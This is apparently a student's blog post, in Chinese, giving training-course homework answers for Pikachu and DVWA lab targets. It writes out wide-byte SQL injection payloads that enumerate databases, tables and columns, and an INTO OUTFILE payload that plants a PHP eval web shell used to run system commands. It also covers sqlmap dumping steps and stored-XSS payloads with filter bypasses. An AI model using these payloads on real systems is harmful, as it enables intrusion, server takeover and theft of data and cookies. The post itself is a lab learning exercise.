C10-8 SQL注入II + XSS练习 I

情境


参加了培训的第八次课, 涉及到了SQL宽字节注入, 从MySQL注入到GetShell, SQL注入的基本绕过手法, SQL注入防御, SQLmap的使用; XSS基本概念和原理 的介绍(包括3种XSS及其手动测试).
这里是第八课的作业题, 及我的解答. 此次作业宽字节注入, 需要使用到 Pikachu靶场. 该靶场需要VM上事先 开启disk UUID(镜像脚本中的supervisord需要), 且安装并配置好 mysql-server.
(注: 使用本地虚拟机开启dvwa靶场, 10.0.0.155是ubuntu虚拟机的IP, dvwa挂在8080端口上. 登陆后初始化靶场并重新登录. 下列各题都将在靶场不同标签页中练习 复现.)



1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;

我的解答:  本题, 我将以Pikachu靶场中的宽字节注入页面作为复现环境.

a. 预备工作
首先搭建Pikachu靶场环境, 需要正确安装 mysql-server, php2.7 和 apache2 等. 然后使用docker开启一个以area39/pikachu为镜像的容器.
容器开启后, 等待一会儿再使用浏览器访问pikachu网页, 使用该靶场之前需要先在网页上进行初始化.
img
img
img
img

b. 尝试使用宽字节注入, 做一个测试
使用 %81' or 1=1#作为输入, 微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 检查响应包结果符合预期.
img
img
img

c. 爆破数据库名
使用联合注入, 结合 b 中的手法, 输入aaa%81' union select 1,database()#, 微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 结果成功爆破数据库名 pikachu.
img
img
img

d. 爆破数据表名
-- 首先爆出数据库 pikachu 中的数据表数量.
使用count()函数, 并结合 c 中同样的手法, 输入bbb%81' union select 2,count(table_name) from information_schema.tables where table_schema=database()#.
微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 结果得出 该数据库中有5张表.
img
img
img
-- 再爆出具体的表名.
使用group_concat()函数, 并结合 c 中同样的手法, 输入bbb%81' union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()#.
微调burp抓到的请求包后发送(此处为保险起见先发送至Repeater再发送), 得出 该数据库中5张表的具体表名.
img
img
img
-- 确认正确的表名(即爆字段名, 并分析)
通过表名和使用情境, 推测很可能使用的是 表member 或者 表users, 且该表含有诸如类似 uid 和 email 的信息字段. 查取所有表的字段名.
在输入框中输入bbb%81' union select 3,group_concat(column_name) from information_schema.columns where table_schema=database()# .
(逐个表查字段操作不出来, 因为限制表名一定会用到'', 而在该情景下''会添加addslash()函数, 不可绕过; 但是可以查pikachu数据库中所有表的字段名, 对比之前的结果可能会得到一些暗示. 果然如此!!!!)
[嗯…… 其实, 可能使用limit也是可以的 😜 ]
最后确认正确的数据表名是 member
img
img
img
img




2、利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤;

我的解答:  

开启DVWA靶场, 并设计注入
使用docker开启dvwa容器. 数据库初始化后重新登入(admin//password). 将安全等级调成low. 选中"SQL Injection"标签, 并输入SQL注入形式的一句话木马:
' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell.php'#
img
img

通过容器后端可以看到, 此时已成功创建木马文件 /var/www/html/shell.php
img

通过浏览器访问 $(IP):$port/shell.php, 看到的是空白页面.
img
-- 可以使用HackBar V2插件 添加POST方法的参数a. 比如 a=phpinfo(); 或是 system(pwd)之类的系统命令.
img
img
-- 也可以使用蚁剑, 添加一句话木马的文件地址, 连接密码就是POST方法传输的变量名. 由此就可以打开容器后端了. 至此, 我们就算完整地拿下该服务器了.
img
img
img
img
img




3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;

我的解答:  

安装SQLMap, 并设置(Linux和Windows都可)
将dvwa网站的安全等级调成low, 并取得带参数信息的有效链接.
img

通过浏览器控制台console获取cookies信息
img

构建sqlmap命令, 并获取目的参数的payload
img
img

使用sqlmap爆库名
img

使用sqlmap爆表名
img

使用sqlmap爆列名
img

使用sqlmap爆数据内容
img
img
img
img




4、完成DVWA靶场存储型XSS的漏洞练习。

我的解答:  

知识点回顾
通常存在XSS漏洞的输入点, 如果代码中没有针对输入的过滤措施, 可直接使用: <script>alert(1)</script> 或者 类似于<img src=## onerror=alert(document.cookie)>(或者a标签 <a onmouseover=alert('XSS')>xss link</a>) 之类的输入.
如果存在XSS漏洞的输入点, 代码中过滤了 <script> 标签, 可考虑使用 大小写混淆绕过, 双写饶过, 或者使用其它标签
如果存在XSS漏洞的输入点, 代码中使用正则过滤 <script> 标签, 那就只能使用其他标签了.

Security Level Low (此处, 针对message没有输入过滤措施, 针对name通过正则匹配限制使用 <script> 标签)
可使用最简单的 <script>alert(1)</script> 进行(存储型)XSS攻击.
img
img
img

Security Level Medium (此处, 针对message使用addslash()函数; 针对name过滤<script>标签 且 前端限制输入长度)
在name处使用双写混淆绕过, 通过inspector将maxlength改成一个较大值.
img
img
img

Security Level High (此处, 针对message使用addslash()函数; 针对name通过正则匹配限制使用 <script> 标签 且 前端限制输入长度)
在name处使用其它标签, 通过inspector将maxlength改成一个较大值.
img
img
img




预习:XSS

预习资料:课件,课件还没出来

自己的学习进度落了两个多月了, 惭愧…… 慢慢追……

posted @ 2024-12-18 13:13  xpp的博客  阅读(55)  评论(0)    收藏  举报